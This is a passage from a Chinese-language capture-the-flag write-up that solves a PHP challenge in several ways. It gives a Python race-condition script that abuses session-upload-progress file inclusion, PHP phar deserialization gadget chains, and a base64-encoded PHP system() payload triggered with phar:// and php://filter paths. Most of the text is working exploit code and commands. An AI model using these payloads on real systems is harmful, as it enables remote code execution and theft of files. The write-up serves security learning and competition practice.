s.post(url=url,data=data,cookies=cookies,files=files)



def exp(ip, port):
url = "http://"+ip+":"+port+"/"
fileurl = url+'file.php'
uploadurl = url+'upload.php'

num = threading.active_count()
# 上传phar文件
file = {'file': open('./shell.png', 'rb')}
ret = requests.post(url=uploadurl, files=file)
# 文件上传条件竞争获取flag
event=threading.Event()
s1 = requests.Session()
s2 = requests.Session()
for i in range(1,10):
threading.Thread(target=sess_upload,args=(uploadurl,s1)).start()
for i in range(1,10):
threading.Thread(target=include,args=(fileurl,s2,)).start()
event.set()
while threading.active_count() != num:
pass

if __name__ == '__main__':
exp(HOST, PORT)
print(flag)

测试成功

360截图18141214738489


其它路径第一种

生成phar的程序如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
class Show {
public $source;
}

class Upload {
public $fname;
public $fsize;
public function __construct(){
$this->fname = new Show();
$this->fsize = '/tmp/sess_chaaa';
}
}
class Test {
public $str;
public function __construct(){
$this->str = new Upload();
}
}


$test = new Test;

@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("__HALT_COMPILER(); ?>");
$phar->setMetadata($test);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

生成的phar文件需要改名为shell.png,不需要gzip压缩

然后还是官方WP的套路,条件竞争+session文件包含

以下是官方WP的利用程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import sys,threading,requests,re
from hashlib import md5

HOST = sys.argv[1]
PORT = sys.argv[2]

flag=''
check=True
# 触发phar文件反序列化去包含session上传进度文件
def include(fileurl,s):
global check,flag
while check:
fname = md5('shell.png'.encode('utf-8')).hexdigest()+'.png'
params = {
'f': 'phar://upload/'+fname
}
res = s.get(url=fileurl, params=params)
if "working" in res.text:
flag = re.findall('upload_progress_working(DASCTF{.+})',res.text)[0]
check = False

# 利用session.upload.progress写入临时文件
def sess_upload(url,s):
global check
while check:
data={
'PHP_SESSION_UPLOAD_PROGRESS': "<?php echo 'working',system('cat /flag');?>\"); ?>"
}
cookies={
'PHPSESSID': 'chaaa'
}
files={
'file': ('chaaa.png', b'cha'*300)
}
s.post(url=url,data=data,cookies=cookies,files=files)



def exp(ip, port):
url = "http://"+ip+":"+port+"/"
fileurl = url+'file.php'
uploadurl = url+'upload.php'

num = threading.active_count()
# 上传phar文件
file = {'file': open('./shell.png', 'rb')}
ret = requests.post(url=uploadurl, files=file)
# 文件上传条件竞争获取flag
event=threading.Event()
s1 = requests.Session()
s2 = requests.Session()
for i in range(1,10):
threading.Thread(target=sess_upload,args=(uploadurl,s1)).start()
for i in range(1,10):
threading.Thread(target=include,args=(fileurl,s2,)).start()
event.set()
while threading.active_count() != num:
pass

if __name__ == '__main__':
exp(HOST, PORT)
print(flag)

利用成功

360截图18141214738489


其它路径第二种

此方法不需要进行条件竞争

新建一个的文件,输入以下内容后将文件名改为.png后缀(例如1.png)

1
PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs/Pg==

上面的内容其实是base64编码后的php程序

360截图17860529617777

上传1.png

360截图187201188787126

计算文件名

360截图17040509367372

构造phar归档的程序如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
class Show {
public $source;
}

class Upload {
public $fname;
public $fsize;
public function __construct(){
$this->fname = new Show();
$this->fsize = "php://filter/read=convert.base64-decode/resource=upload/4a47a0db6e60853dedfcfdf08a5ca249.png";
}
}
class Test {
public $str;
public function __construct(){
$this->str = new Upload();
}
}


$test = new Test;

@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($test);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

上传经过gzip压缩的phar文档

360截图187201188787126

触发phar反序列化

1
file.php?f=phar://upload/ed54ee58cd01e120e27939fe4a64fa92.png

本地测试成功

360截图17411029354945

去比赛平台测试也是可行的

360截图17860529548570


Phar的利用知识参考链接

参考学习了以下这些文章,非常感谢(文章质量不排前后顺序)

结尾

本文完成约耗时三天,篇幅较长,非常感谢你能看到这里😘

EOF